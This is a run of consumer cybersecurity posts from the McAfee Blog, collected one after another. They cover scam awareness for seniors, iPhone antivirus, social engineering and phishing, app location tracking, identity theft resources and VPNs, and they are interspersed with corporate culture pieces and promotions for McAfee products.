We need to remember that one of the best ways to avoid falling victim to scams is to stay informed and up-to-date about what these scams are and how they occur. It can be incredibly beneficial to visit scam awareness websites like ScamWatch regularly. Educating our elderly loved ones about the most common scams and having open conversations about recent scams can significantly reduce their chances of being fooled. They will learn to recognize scam attempts and have a better understanding of what actions to take next to protect themselves.
Using a password manager not only helps to generate complex passwords but also to remember them, relieving our elderly loved ones from the burden of remembering multiple passwords. Additionally, ensure that all software is updated regularly. Often, software updates include patches for security vulnerabilities. Thus, it is essential to automate software updates on their devices.
→ Dig Deeper: Why Software Updates Are So Important
One unique approach to ensure the online safety of our elderly loved ones involves incorporating them into your family’s digital safety plan. This strategy goes hand in hand with the idea of the “sandwich generation” and the shared responsibility of ensuring online protection for both young and old. If your elderly family members use apps like Messenger, consider setting up a family group chat that includes both younger and older members.
→ Dig Deeper: Facebook Messenger Flaw Could’ve Allowed Criminals to Intercept Messages
This inclusive approach can serve as a platform to share news stories about online risks and impart knowledge on how to handle these issues. Having shared family discussions about digital safety can help instill a sense of collective responsibility toward online protection. Furthermore, it can also encourage intergenerational learning. Your children can lend their tech savvy to help their grandparents understand new apps or resolve technical issues, promoting a culture of shared learning and mutual support within the family.
As our world continues to embrace technological advancement, protecting our elderly loved ones from potential online threats and scams is more critical than ever. However, this task does not have to be overwhelming. With the right guidance, appropriate tools, and an inclusive family approach, we can help our loved ones navigate and enjoy the digital world safely. Taking the time to educate them about online risks, ensuring they have protection software installed, and keeping them updated on the latest scams can significantly reduce the risk of them encountering online threats. By fostering a supportive environment for learning and safety, we can ensure that seniors feel confident, secure, and connected in the digital world.
The post Online Safety for Seniors appeared first on McAfee Blog.
If you’re one of the countless Apple iPhone owners out there, there’s a good chance that one of the reasons you love your smartphone is because you’ve heard that Apple devices tend to have fewer vulnerabilities to viruses.
Because of their shared operating system, iOS devices enjoy Apple’s security measures, which keeps them protected from malware and viruses differently from most Android devices.
This is great, right? Certainly! But it’s also important to remember that nothing digital or internet-related is ever foolproof, and while it’s rare, even iOS operating systems can be affected by malicious software.
The great news is that protecting yourself from iPhone viruses and hackers isn’t hard. Read on to learn more.
Although Apple has designed its iOS system to be pretty untouchable, it’s still possible to get a virus on your iPhone.
The biggest way this can happen is through something called “jailbreaking,” which is when you bypass the restrictions on the Apple operating system. You might do this to gain more control over your device, downloading any apps or programs from anywhere on the internet. It basically lets you do whatever you want with your iPhone.
A major reason that mobile security is so seamless with Apple’s iOS is that — unlike Android and Microsoft Windows products — Apple devices are designed to work only inside set parameters that “talk” exclusively to other approved Apple apps or devices.
This is all controlled by Apple encryption, making your iPhone security rather impervious to malicious apps. You might also notice that there are no antivirus apps in the App Store, which isn’t a coincidence!
But when you jailbreak an iPhone, this means you’ve opened the iOS to a wider range of apps, features, and themes — none of which are approved by Apple!
So, you won’t benefit from the virus protection that comes from having a closed system, meaning you can expose your iPhone to adware, scams, and other internet security issues that Apple permissions blocked.
So, you’ve jailbroken your iPhone and are out of Apple’s famously closed sandbox. While it’s not an ideal situation, it’s not the end of the world. You may need antivirus protection now. This is especially true if you frequently use public Wi-Fi.
Here are a few potential threats that a jailbroken iPhone might face:
If you’re worried about the Wi-Fi you used at a coffee shop last week and are searching for the “best antivirus protection for Apple,” don’t curse that java-inspired Safari surf just yet.
There are a few telltale signs that your iPhone or another Apple device has been infected with a virus. They include:
The first and best way to protect your Apple device from cybersecurity concerns is to avoid jailbreaking it. While an iPhone might be limited in what apps and themes you can enjoy, its built-in security features really can’t be beaten.
Here are some other ways you can keep your iPhone safe from malware and viruses:
In this day and age, we all live on our devices. And while it’s great to have the built-in security of Apple’s iOS, why settle for just one line of defense?
For complete protection against malicious software like viruses, malware, and more, look to McAfee Total Protection. Our all-in-one approach means you’re shielded from data breaches, have access to a secure VPN, and can receive up to $1 million in identity theft coverage. The best part is that it works for multiple devices, including Mac OS and iOS.
Enjoy the peace of mind that comes with having McAfee in your corner.
The post Does an iPhone Need Antivirus Software? appeared first on McAfee Blog.
It’s Social Media Day! How are you celebrating? Reposting your very first profile picture from a decade ago? Sharing your most-loved status update or the photo you’re most proud of? This year, consider commemorating the day by learning more about how to keep your information safe. Enjoy your favorite platform, but be on the lookout for scams, such as social engineering.
Social engineering is a cybercrime common to social media sites. It is a tactic where a cybercriminal lurks on people’s social media pages, gleaning personal information that they then use to impersonate them elsewhere.
With more than half of the global population on social media, you may think that a cybercriminal will never single you out from such a huge pool; however, it is possible.1 Luckily, you only have to make a few, easy changes to your online habits to keep your valuable private information just that: private. Check out these tips to make smart decisions and be more confident about your and your family’s online security.
Think of the types of posts you share with your dozens – or even hundreds or thousands! – of followers: updates about your life, where you live, work, or favorite travel destinations, your hobbies, pets, family members, etc. All of these details, that only you and those closest to you should know, are a valuable commodity to cybercriminals. Plus, now that social media shopping is growing in popularity, the credit card information linked to accounts is sweetening the deal for cybercriminals.
Here are a few social engineering scams that are common to social media.
People commonly create passwords based on things, places, and people that are important. Have you ever published a 20 questions-style get-to-know-me post? Those contain a lot of valuable personally identifiable information (PII). With just a few of those details about your personal life, cybercriminals can make educated guesses at your passwords, a tactic called credential stuffing. If they’re able to crack the code to one of your accounts, they’ll then input that password and login variations in several other sites, especially online banking portals, to see if they can gain entry to those too.
You’ve won! Send us your banking information and address, and you’ll receive a package in the mail or a direct deposit to your bank account!
But did you enter a drawing for a prize? Very rarely does anyone win something just by being a follower of a certain page. If you receive a message similar to the above, it’s likely a phisher trying to draw more PII and sensitive banking information out of you. Or, the message may have links within it that redirect to an untrustworthy site. If you regularly enter social media contests, keep a list and only respond to legitimate ones. Also, never give your banking information out over social media, private messages, or email.
There are plenty of valid fundraisers and petitions circulating around social media; however, there are just as many social engineering scams that dupe social media users because they inspire a strong emotion in them. For example, there have been several scams around Ukrainian donation sites. Cybercriminals often use fear, anger, or sadness to inspire people to open their wallets and share confidential banking information.
Luckily, all it takes is a few smart habits to stop social engineers in their tracks. Consider the following tips and make these small changes to your social media usage:
At this point, you’ve probably had several of your social media accounts active for over a decade. That means it’s time to do some cleaning out of your friends and followers lists. It’s best to only accept requests from people you personally know and would actually like to keep in the loop about your life. A friend and follower request from strangers could be cyber criminals in disguise. Also, consider setting your account to private so that your posts are invisible to strangers.
Social engineering hacks often bank on people acting rashly and quickly because of strong emotion, either excitement, fear, sadness, or anger. If you see a post on your newsfeed or receive a direct message that gives you a tight window to respond and asks for PII, slow down and think before acting. Double-check the destination of every link in the message by hovering over it with your cursor and checking the link preview at the bottom of your browser screen. Be careful, because some link previews include slight misspellings of legitimate websites. As a great rule of thumb, be automatically skeptical of direct messages from people you do not personally know. And if a DM from a friend seems out of the ordinary, shoot them a text to confirm they actually sent it. It could be that their social media account was hacked and a criminal is spamming their followers.
A password manager will go a long way toward ensuring you have unique, strong passwords and passphrases for every account. Not reusing passwords makes credential stuffing impossible. McAfee True Key stores all your logins and passwords and guards them with one of the strongest encryption algorithms available. All you need to do is remember your master password. It’s a great practice to also enable multifactor authentication whenever a website offers it. This makes it incredibly difficult for a cybercriminal to break into your online accounts with their educated guesses at your password.
Now that you know what to look for and the best tricks to be safe, you can feel more confident that you’re doing everything you can to protect your online accounts and private information. McAfee Protection Score can also help you take control of your online safety. This service allows you to monitor your current online safety and encourages you to take specific steps to improve it. Now you can enjoy digitally keeping in touch with your friends with peace of mind!
1Smart Insights, “Global social media statistics research summary 2022”
The post It’s Social Media Day! Here’s How to Protect Yourself From Social Engineering Online appeared first on McAfee Blog.
In this digital age, communicating online and through our devices has become the norm. From sharing highlights of last night’s game to sending cute animal videos back and forth, so much of our connectedness happens virtually. It’s become so easy to chat with friends and loved ones through social media that we don’t even have to think about it. We know who’s on the other end of the screen, so why would we worry? We know our friends would never send us a malicious link that would steal our information, so why be cautious? Right?
Not necessarily. Though a message or link may seem like it’s coming from a friend, it’s also possible that it was sent without their knowledge. There are many ways for hackers to scam people very believably. The latest Facebook Messenger hack is just one of many examples.
According to PIXM, Facebook users have been conned for several months by a phishing scam that tricks them into handing over their account credentials. Users are shown a fake login page that copies Facebook’s user interface, giving it the illusion of being real. When someone enters their credentials, their password and login combo is sent to the hacker who then sends out the same link and fake login to the user’s friends through Facebook Messenger. Any user who clicks the link is asked to fill out their credentials, and the cycle repeats. PIXM estimates that over 10 million Facebook users have been duped by this scam since 2021.
This hacker was able to utilize a technique to evade Facebook’s security checks. When a user clicks on the link in the Messenger app, the browser redirects to a legitimate app deployment service, then redirects again to the actual phishing pages with advertisements and surveys that accrue revenue for the hacker. Using this legitimate service link prevents Facebook from blocking it without blocking other legitimate apps and links as well. Researchers say that even if Facebook managed to block one of these links, several others are created with new unique IDs every day to replace it.
Phishing scams like these are harder to detect due to the realistic-looking interface on the login pages and that these malicious links are seemingly coming from friends and family. However, there are always key things to look out for when faced with phishing scams.
Scams don’t always come from overtly sketchy emails or text messages from strangers. Sometimes they can (unintentionally) come from people we know personally. This isn’t to say that your friends online can’t be trusted! However, it’s important to always be cautious and keep an eye out for any odd behavior to stay on the safe side. Here are some key things to look out for when faced with potential malicious phishing scams:
When in doubt, just ask! If you’ve received a message and a link from a friend online, simply ask if they meant to send it to you. If they didn’t send it themselves, not only did you dodge a bullet, but your friend is also now aware that they’ve been hacked and can take the necessary precautions to ensure their information is protected. And if they did mean to send it to you, then you can click the link knowing that it’s safe to do so. It’s always best to err on the side of caution when it comes to your online security.
The post Over 10 Million Facebook Users Hacked in Ongoing Phishing Scam appeared first on McAfee Blog.
Fewer people carry cash these days, kids included. This growing paperless reality fast-forwards the parenting task of educating kids on financial responsibility. As of 2021, most cash apps allow kids 13 and up to open accounts (previously, the age was 18). Kids can also get a cash app debit card for retail purchases. But while cash apps are a popular and convenient tool, they come with some risks families should consider.
Cash apps allow kids to exchange money with friends directly from a secondary established account, much like handing another person cash. Cash apps have become a popular tool with kids and an easy way to split costs or pay someone for a purchase. Cash apps also come in handy for families and allow parents to instantly send their children money for daily expenses such as school or sports fees, meals, purchases, or entertainment. Some common cash apps include Venmo, Zelle, Cash App (Square), Pay Pal, Zelle, and Facebook Pay, among others.
Sounds awesome right? But with ease comes risk. Most money transfer app funds are not FDIC insured. That means if your child (or you) accidentally sends money to an unintended recipient, they may have a tough time recovering those funds.
Every app comes with some degree of risk. While the leading cash apps are considered secure and can be used with little concern, there’s always the potential of a cyber crook finding a security loophole that exposes your money, banking information, and identity.
The use of cash apps is here to stay and, no doubt, an integral part of the overall paperless fast track we’re all on. Guiding kids into this realm equipped with knowledge and confidence is a powerful way parents can help kids enjoy the responsibility of money without falling prey to digital risks.
The post Kids & Cash Apps: What Parents Need to Know appeared first on McAfee Blog.
In the spirit of #PrideMonth, McAfee hosted month-long celebrations across the world. One of these was a live event hosted by the McAfee Pride Community with a guest speaker from the Resource Center that focused on the history of Pride, support, allyship, and belonging.
We took a moment to ask our event guest speaker, Leslie McMurray, about the work that Resource Center does, the importance of pride, and what companies can do to create inclusive work environments.
“We like to say, if we had an “elevator pitch”, we would need a really tall building! Resource Center has been around for 39 years and is one of the largest LGBTQIA+ community centers in the United States, it is a primary HIV/AIDS service organization in Texas.
Some of the work that we do includes operating a food pantry and hot meal program that serves low-income people living with HIV. We have a case management department that helps locate resources that we don’t directly provide, like housing. And we have a primary care clinic that is gender-affirming and a ten-chair dental clinic that also serves those living with HIV.
We also have a youth program called Youth First that serves youth from middle-to-high school. We have a behavioral health program and a clinic that does free testing for HIV and STDs along with a mobile health unit that does free testing in outlying areas. Finally, our advocacy department has three full-time employees!
“Sometimes we get asked “What’s ‘Pride’ about? Why do you need a parade?”
It’s important to understand that LGBTQIA+ people are still working to achieve equal rights – the same as everyone else.
The tipping point of the fight for equal rights in the US dates back to 1969 when the Stonewall Uprising took place in Manhattan. The first Pride march was held a year later to honor the anniversary of the Stonewall Uprising and continues to take place during the month of June each year. And while we appreciate the attention during the month, the continued fight for equal rights for the LGBTQIA+ community is yearly, and we need continuous support and allyship of people and businesses year-round.
So it’s really important for people to learn about diverse populations, understand what their challenges are, and educate yourself on these issues – from that spring’s allies.”
“One of the simplest things for companies to do is to include ‘Sexual Orientation, Gender Identity and Gender expression’ in your Equal Employment Opportunity statement. Other things companies can do is to look at putting a policy in place for transgender employees who are transitioning and consider including transgender healthcare in your company benefits package.
Make sure to help foster understanding by getting employees to do training with organizations like Resource Center. And empower upper management to lead the way ensuring all employees can bring their whole selves to work. Finally, when the opportunity arises look at working with and bringing in non-profit organizations into your company to continue spreading awareness and support for the LGBTQIA+ community.
And while June wraps up Pride month, year-round we work towards a workplace and community where all can belong – a workplace where our unique differences are celebrated and where we all stand together for equality. #McAfeePride
Learn more about the incredible work that Resource Center does here
Interested in building your career at a company where you can belong? Search our openings!
The post #McAfeePride2022 appeared first on McAfee Blog.
It’s a question we get a lot from parents: “How can I keep my kids safe when they are constantly hopping between so many different apps?” We get it, there’s a lot to stay on top and all of it changes constantly. Unfortunately, that question doesn’t have a simple answer. But there are some baseline actions every parent can take to boost their child’s safety on popular apps like TikTok, Snapchat, and Instagram.
The safety equation is threefold, with every piece as important to your child’s overall safety as the next.
A report released in 2021 by Common Sense Media found that teenagers (ages 13-18) use an average of nine hours of entertainment media per day and that tweens (ages 8-12) use an average of six hours a day, not including time spent using media for school or homework. The report also found that boys spend more time on gaming devices while girls spend more time on social media and that mobile devices now account for 41% of all screen time among tweens and 46% among teens.
With those numbers increasing each year, it’s even more important to understand the different ways parents can help kids stay safe. Let’s break down a few safety basics on each app that are easy to access and use.
TikTok has some impressive safety guidelines broken down into topics parents could easily use as a springboard for some great family discussions. The guidelines and the Safety Center cover issues such as dangerous TikTok challenges and how to deal with other digital threats such as bullying, sexual content, fake news, and hateful behavior. You can increase safeguards using TikTok’s:
Every app functions differently and thus, offers different ways to boost security. Snapchat provides a helpful guide for parents and educators, including safety tips and conversation starters. You can increase safeguards using Snapchat’s:
Instagram offers parents and minor users a library of safety and mental health resources accessible via the app’s Community Tab at the bottom of its home page. You can increase safeguards using Instagram’s:
One of the most powerful safety features is you—a child’s mom, dad, or guardian. Your face-to-face, heart-to-heart connection will speak loudest in your child’s life. If you haven’t lately, ask your child what’s going on in their digital life, who their friends are, what they’ve created to share, and what’s new, hilarious, or trending. You may get some resistance now and then but don’t let that discourage you from pressing in and doing all the things that help keep them as safe as possible online.
The post Setting Up Parental Controls in TikTok, Instagram & Snapchat appeared first on McAfee Blog.
McAfee announces a partnership that will grant new and existing Telstra customers easy access to McAfee’s leading security solutions to deliver holistic security and privacy protection through its integrated suite of services including Antivirus, Parental Controls, Identity Protection, Secure VPN and more, to protect and secure multiple devices including mobiles, PCs and laptops. The partnership brings added protection to Telstra’s millions of customers and their devices via McAfee’s intuitive and integrated consumer security platform
“A recent McAfee study found 27% of Australians surveyed reported attempted account theft and 23% had experienced financial account information leaks,” said Pedro Gutierrez, Senior Vice President of Global Sales and Operations at McAfee. “As the proliferation of life online accelerates, we are thrilled to be partnering with Telstra who are showing through this collaboration, a commitment to innovation and to their customers by investing in new infrastructure and technologies that safeguard their mobile and broadband subscribers.
McAfee’s integrated consumer security platform offers a wide array of mobile security solutions to protect customers’ privacy and identity while blocking viruses, malware, spyware, and ransomware attacks. This partnership allows Telstra’s customers to take advantage of these capabilities and protect themselves from additional threats including potential hacks, identity theft and broader gaps in online and mobile security so they can live life confidently online.
“In today’s increasingly connected world the risk of cyber threats continues to grow. To counter the risk, Telstra is committed to providing our customers with the safety and security features needed to protect them online,” said Matthew O’Brien, Cyber Security Executive and Group Owner at Telstra. “This partnership with McAfee helps drive our mission to build a safe and secure connected future where everyone can thrive, and further complements Telstra’s T25 ambition to extend our network leadership position by delivering greater value to our customers.”
To activate Device Security, Telstra customers can simply go in-store, online or to their MyTelstra app. The full suite of McAfee features supported include Antivirus/System Scan, Safe Browsing, Protection Center, Identity Protection, Password Manager, Parental Controls, Protection Score and Secure VPN. All eligible Telstra customers can try Device Security for three months on Telstra, then auto-roll onto $10/month after.
The post McAfee and Telstra Partner to Bring Privacy, Identity and Security to Australian Customers appeared first on McAfee Blog.
Your mobile phone can do so many things, thanks to the wonders of technology. One of those things is having very accurate information about your location. In fact, some apps have to know your location to work.
Of course, you can’t expect Google Maps to function as it should without tracking your location. But you’re right to question why a messaging app like WhatsApp needs to know your whereabouts. When it comes to protecting your online privacy, the less information that third parties have about you, the better.
Keep reading to learn which mobile apps have location tracking and how you can revoke their access.
On an iPhone, apps can track your location, but only after giving them access first. Here’s how to check which apps can monitor your location:
If you have an Android device, you can check what permissions you’ve given to the app following these steps:
You’ll see the GPS tracking permissions you’ve granted. The apps you’ve allowed access to your location all the time will be under “Allowed all the time.” The apps that can track you while you’re using them will be under “Allowed only while in use.” And you’ll find the apps you’ve never granted permission under “Not allowed.”
Remember that some apps need location data to function properly. For instance, a navigation app like Apple Maps isn’t very useful if it doesn’t know where you are.
But whenever you want to turn off location tracking for particular apps, you can simply cancel their access.
If you have an iOS device, follow these steps:
To change the location setting for apps on an Android phone:
There are many reasons apps need to know your location history, such as personalizing your app experience. Not to mention that location tracking apps like Find My iPhone and family location-sharing apps like Life360 are very helpful for family members to keep track of their loved one’s location.
But simply speaking, the main reason apps track your location is because it’s profitable. Your information is sold to marketers, making it easier to show you ads you should be interested in.
This is why it’s always a good idea to check what apps access your location information. So, check them regularly, following the steps laid out above.
Common apps to watch for location tracking include:
Of course, navigation apps need to know your current location so that they can direct you to where you want to go. Getting access to your real-time location allows them to give you turn-by-turn directions. The apps also use a GPS tracker to help you find establishments like restaurants or gas stations nearby.
Ride-hailing apps like Uber and Lyft use your GPS location to let drivers know where to pick you up. Be careful about ride-hailing apps, though, because their tracking features are made to monitor your movement in the background. This means they can access your location all the time, even when the apps aren’t active.
So, if you’re not a regular ride-hail user, check these phone tracking apps when you’re not using them and turn off the location settings until you need them again.
Like most free apps, social media apps collect personal and location data so they can learn who you are. And everything they know about you is used for advertising purposes. This is why you might get “find my friends” suggestions and ads about cafes, stores, and everything else that’s available in your area.
Something to be aware of is that the ways social media apps like Facebook ask for permission to access your location data aren’t always straightforward. For instance, if you’re posting a photo, the app will ask you to “Turn on Location Services” to add a geo-tag. And if you do, they’ve got the green light to track your whereabouts.
When you check the news and weather forecast by using an app, the app asks for your location to provide you with information based on where you are.
Giving these apps your location can help with the user experience since you won’t have to search for local news or weather updates. But not giving the apps access to your phone location doesn’t affect how they operate.
Coupon apps like Flipp want as much information from you as possible to personalize your experience. Location sharing helps these apps provide you with the closest stores to shop and ongoing sales near you.
In the case of coupon apps, geofencing helps in their marketing quite a lot. With geofencing, apps use radio frequency identification (RFID), Wi-Fi, and GPS location to send ads at exactly the right moment to a target device. The ad can be sent as an SMS, email, or app notification when a cellphone enters or leaves a geofence.
An example would be a text message that says, “Today only! Spend $50 and get the item of the day for $0.99!” when a customer enters a grocery store.
Streaming apps like Netflix and Spotify may ask for your location so that you don’t get access to geo-restricted content. For instance, live streaming TV apps need your location to confirm regional blackouts and other features. But other than that, they don’t necessarily need to monitor your location to work.
Car insurance companies have found a way to use technology by offering discounts to clients who allow them to collect personal information and share location data. Some of the information they want include your phone use while driving, how fast you drive, or how sharply you brake. Insurance companies claim that their phone tracker apps collect data to reward good behavior and avoid accidents.
Our mobile phones are one of our most valuable possessions because we rely on them to get us through the day. That’s why it’s important to understand how information about you and your activities is used, shared, and sold.
The good news is that you can protect your digital life with McAfee Mobile Security, which allows you to connect safely and seamlessly to the digital world with a virtual private network (VPN). You’ll also have access to an antivirus app that regularly scans for online threats like malware.
This means you can use public hotspots, make bank transactions, and surf the web in a safe space. McAfee helps protect your credentials and personal information so that you can continue to enjoy the internet your way.
The post What Types of Apps Track Your Location? appeared first on McAfee Blog.
So much of our personal and professional lives are online — from online banking to connecting with friends and family to unwinding after a long day with our favorite movies and shows. The internet is a pretty convenient place to be! Unfortunately, it can also be a convenient place for cybercriminals and identity theft.
One way these scammers may try to take advantage of someone is by trying to convince them to give up their personal information or click on links that download things like malware. They might try to appear as a trustworthy source or someone you personally know. This fake online communication is called “phishing.”
As we’ve all heard before, knowledge is power. By understanding what phishing is, how it works, and the signs to look for, you can help minimize your risk and get back to enjoying the internet the way it was intended. Here’s what you should know.
You’ve probably heard of the term “phishing,” but maybe you don’t know what it means. Here’s a quick overview of how it works.
Phishing is a type of cybercrime where scammers send communications that appear to be from trusted sources like a major corporation — basically, they’re trying to play off people’s trust through what is known as social engineering. They might request sensitive information like passwords, banking information, and credit card numbers. Hackers may then use this information to access your credit cards or bank accounts.
The thing with phishing attacks, though, is that they can come through several platforms, including:
We’ve mentioned that phishers are looking to get sensitive information, but what exactly are they after? The kind of information phishing scams are after might include:
Phishing scams can come in many forms, but understanding the common types of phishing attacks can help you keep identity thieves at bay. Here are some to be aware of:
A phishing email is a fraudulent email made to look like it’s from a legitimate company or person. It may ask you to provide personal information or click on a link that downloads malware. For example, an email allegedly from Bank of America notes that due to suspicious activity, you should log into your bank account to verify your information.
Fortunately, there are ways to spot a phishing cyberattack like this.
While some phishing emails are sent to a broad audience, spear phishing emails target specific individuals or businesses. This allows the scammers to research the recipient and customize the message to make it look more authentic.
Examples of spear phishing emails include:
One of the best defenses against spear phishing is to contact the source of an email to verify the request. Call the colleague who’s asking you to do a wire transfer or log onto your Amazon account to check for messages.
For this highly customized scam, scammers duplicate a legitimate email you might have previously received and add attachments or malicious links to a fake website. The email then claims to be a resend of the original. Clicking a malicious link can give spammers access to your contact list. Your contacts can then receive a fake email that appears to be from you.
While clone phishing emails look authentic, there are ways to spot them. They include:
Through vishing or voice phishing, scammers call you and try to persuade you to provide sensitive data. They might use caller ID spoofing to make the call appear to be from a local business or even your own telephone number. Vishing calls are usually robocalls that leave a voicemail or prompt you to push buttons for an operator. The intent is to steal credit card information or personal and financial information to be used in identity theft.
Fortunately, there are signs that give away these attacks. They include:
If you’d like to avoid vishing calls, there are several things you can do. When you don’t recognize the number, don’t answer the phone. Let the call go to voicemail, then block it if it isn’t legitimate. Use a call-blocking app to filter calls coming to your cellphone. To block calls on a landline, check with your service provider regarding the services offered.
Dealing with a cybercriminal is no time to be polite. If you do answer a vishing call, hang up as soon as you realize it. Don’t answer any questions, even with a yes or no. Your voice could be recorded and used for identity theft. If they ask you to push a button to be removed from a call list, don’t do it. You’ll just receive more calls.
If you receive a voicemail and are unsure if it’s legitimate, call the company directly using the phone number on the company website. Don’t call the number in the voicemail.
If you’ve ever received a text pretending to be from Amazon or FedEx, you’ve experienced smishing. Scammers use smishing (SMS phishing) messages to get people to click on malicious links with their smartphones. Some examples of common fraudulent text messages include:
If you receive a smishing text, don’t respond because it’ll cause you to receive more texts. Instead, delete the text and block the number.
Pop-up phishing occurs when you’re on a website and a fake pop-up ad appears. It encourages you to click a link or call a number to resolve the issue. Some of these reload repeatedly when you try to close them or freeze your browser.
Common pop-up scams include:
If you see a scam pop-up ad, don’t click on the ad or try to click the close button within the ad. Instead, close out of the browser window. If your browser is frozen, use the task manager to close the program on a PC. On a Mac, click the Apple icon and choose Force Quit.
Being online makes us visible to a lot of other people, including scammers. Fortunately, there are things you can do if you become a victim of phishing — allowing you to get back to enjoying the digital world. They include:
You deserve to live online freely. But that might mean taking steps to protect yourself from phishing attempts. Here are some ways you can improve your cybersecurity and keep scammers at bay:
You don’t have to stop enjoying the internet just because of phishing attempts. McAfee’s identity theft protection services, including antivirus software, make it possible to enjoy your digital world while staying safe from scammers and identity thieves.
With 24/7 active monitoring of your sensitive data, including up to 60 unique types of personal information, McAfee is all about proactive protection. This means you’ll be alerted 10 months sooner than our competitors — so you can take action before your data is used illegally. We also provide up to $1 million of ID theft coverage and hands-on restoration service in the case of a data breach.
The best part is that you can customize a package to meet your needs, including virus protection, identity theft monitoring, and coverage for multiple devices. We make it safer to surf the net.
The post What Is Phishing? appeared first on McAfee Blog.
Our How I Got Here series spotlights the stories of team members who have successfully grown their careers here at McAfee. This journey features Jeremy whose passion for learning has seen him grow his career in our Technology Services Team.
In 2015, I started as a contract worker to help manage network cabling in McAfee’s buildings. While I was doing that, I was also asked to help manage our voice network (think of this as phones and conference lines) for North and South America. A year after working in both of those roles, I was asked to focus on voice network engineering. After a couple of years, I began training as an engineer for our audio-visual workspace, which helps bring efficiency and centralization to our conference room communications and collaboration tools. And today, I am a Unified Communications Engineer!
My other role within McAfee is Co-President of the McAfee Veterans Community. I absolutely love the community of veterans from around the globe and our community allies. It’s a wonderful group of people who are always willing to serve their local communities. We have hosted inspiring guest speakers, and volunteer events, and continue to hold monthly virtual Coffee Talks and Happy Hours.
I don’t believe that I’ve ever had a typical workday. One moment I’m entering new employees into our systems, and the next I’m providing backend call-center support. I also help run our big Microsoft Teams live events. And, of course, I troubleshoot communications issues as they arise.
I truly enjoy working with the Technology Services team and especially the Voice and Video Team. Being able to collaborate with such wonderful teams is a really rewarding part of my role.
For about a decade in my previous role, I managed a team doing general upkeep in computer systems and I felt really comfortable doing that! I joined McAfee to do a similar role, but shortly afterward I was asked to pivot to more of an engineering role. It was a bit overwhelming at first, but luckily the team I was with was very helpful and supportive of my learning curve. Even though it was out of my comfort zone, I’m so glad I was given the opportunity – it has blessed mine and my family’s life!
To never stop learning. There is ALWAYS something to learn and someone who can mentor you. I believe that if you are surrounded by smart people (and pay attention), you can’t help but learn and grow! I absolutely love to learn, so this has been one of top of the reasons why I have loved my job since my very first day.
The post Don’t Stop Learning! Jeremy’s McAfee Journey appeared first on McAfee Blog.
The internet makes a lot of things in life easier. You can shop, pay your bills, and even book your next getaway. Unfortunately, the internet is also home to some less-than-savory characters who are looking to take sensitive information for personal gain.
Private information like credit card numbers, driver’s license numbers, phone numbers, and Social Security numbers (SSN) can fall into the wrong hands — leading to identity thieves opening new accounts, taking out loans, and even filing tax returns in their victims’ names.
Fortunately, victims of identity theft and concerned individuals can access several helpful resources designed to respond to or prevent identity theft through the Federal Trade Commission (FTC), such as IdentityTheft.gov. McAfee Identity Protection can also keep personal information secure with 24/7 monitoring and restoration support.
This article will explain some common types of identity theft and the resources you can turn to in case identity theft becomes an issue for you.
The internet is the place to be if you’re looking to shop, connect with others, and get access to all the information you could ever need. Obviously, we spend a lot of time online, and cybercriminals know that.
The good news is that a little information can go a long way in protecting your sensitive data. Some common types of identity theft include:
If you have any reason to believe your identity has been stolen, it’s important to report identity theft or suspicious activity to local police, financial institutions, and credit card companies as quickly as possible. You’ll also want to get a copy of your credit reports from each of the major credit bureaus by visiting annualcreditreport.com and routinely check all of your bank statements.
Identity theft can be scary, but several resources exist to help victims. Some key ID theft resources include the IRS, IdentityTheft.gov, IDtheftcenter.org, Fraud.org, and McAfee Total Protection.
The Internal Revenue Service (IRS) can help with tax-related identity theft. Tax-related identity theft victims may self-report or receive a notice or letter from the IRS about a suspiciously filed tax return. Signs of tax-related ID theft include receiving a tax transcript you didn’t ask for, getting a report of unknown wages or other income, or not being able to e-file because of a matching SSN.
Whether you report identity theft or suspicious activity to the IRS or they tell you, you’ll want to follow instructions to resolve any fraudulent tax issues. You may need to verify your identity with Letter 4883C or complete an Identity Theft Affidavit (Form 14039).
Once everything has been settled, the IRS will tag your account with an identity theft indicator for added protection in the future. In some circumstances, you may even receive an Identity Protection Pin (IP PIN) to use when filing an electronic or paper tax return.
IdentityTheft.gov is a federal resource that can help victims recover from identity theft. The site provides an overview of victim rights, sample letters you can use to dispute any fraudulent credit or debit card charges, and a checklist to track your progress.
IdentityTheft.gov can help with any identity theft, including that related to student loans and fraudulent unemployment insurance claims. You’ll need to explain your situation in great detail to receive a personalized recovery plan.
The Identity Theft Resource Center (ITRC) helps prevent, recover, and protect individuals and businesses from identity theft. This nonprofit organization provides information and assistance at no cost and can help with account takeovers, data breaches, email scams, and other fraudulent account activities. You can also sign up for ID Theft News and stay informed with newsletters and alerts.
Identity theft victims can use the online chat or call to speak with an adviser who can help figure out the next steps to take. They may suggest filing a police report, placing a credit freeze, and/or obtaining free credit report copies from the major credit bureaus, like Experian, TransUnion, and Equifax.
A project of the National Consumers League, Fraud.org collects and shares decades worth of consumer complaints related to fraud. With advocacy, education, and consumer counseling, Fraud.org helps consumers protect themselves from telemarketing and internet fraud.
Fraud.org raises awareness about many types of common and unexpected scams, including phony sweepstakes prizes, government grants and scholarships, online phishing for financial account numbers and other personal information, malware downloads, and the possibility of a financially disastrous ending after falling in love online.
You can sign up for fraud alerts or file a complaint on the secure website and Fraud.org will share your story with their network of law enforcement agencies.
Identity protection with McAfee Total Protection Ultimate provides around-the-clock email address and bank account monitoring, which includes $1 million of ID theft coverage on qualifying losses. As a subscriber, you’ll also gain access to hands-on restoration support to help with reclaiming your identity.
McAfee Total Protection can go wherever you go. Stay in the know on your tablet, laptop, or smartphone and receive critical alerts. The software also provides a Protection Score that can help you secure any weak areas that may leave you open to ID theft.
Use the internet your way and protect your sensitive information with 24/7 account monitoring and alerts. McAfee Total Protection adds an additional layer of security by keeping tabs on up to 60 unique types of personal information. We’ll also guide you through the best choices for prevention and alert you as soon as action is needed.
Get protection from data breaches and malicious software like viruses and malware and benefit from fraud alerts 10 months sooner than our competitors. Get the peace of mind that comes with knowing that McAfee is looking out for you and keeping your identity safe.
The post 5 Ways to Get Victim Assistance for Identity Theft appeared first on McAfee Blog.
A virtual private network (VPN) is a tool that hides your geolocation and protects your privacy while you’re online. It does this by creating an encrypted tunnel from your home network to a VPN provider’s server.
When you buy an internet plan, your internet service provider (ISP) gives your equipment (like your router and modem) an Internet Protocol (IP) address. Your IP address helps you communicate with the broader internet by letting a website you’re on know where data is coming from and where to send it.
In other words, your IP address lets online companies know where you are. Most online businesses store IP addresses for data analysis, but cybercriminals can use your IP to track your activity online, steal your personal information, and target you for scams.
A VPN reroutes your internet through a server address with a different IP than your own. That way, no one online can trace your internet activity back to you. A VPN also encrypts your internet data to protect your personal information.
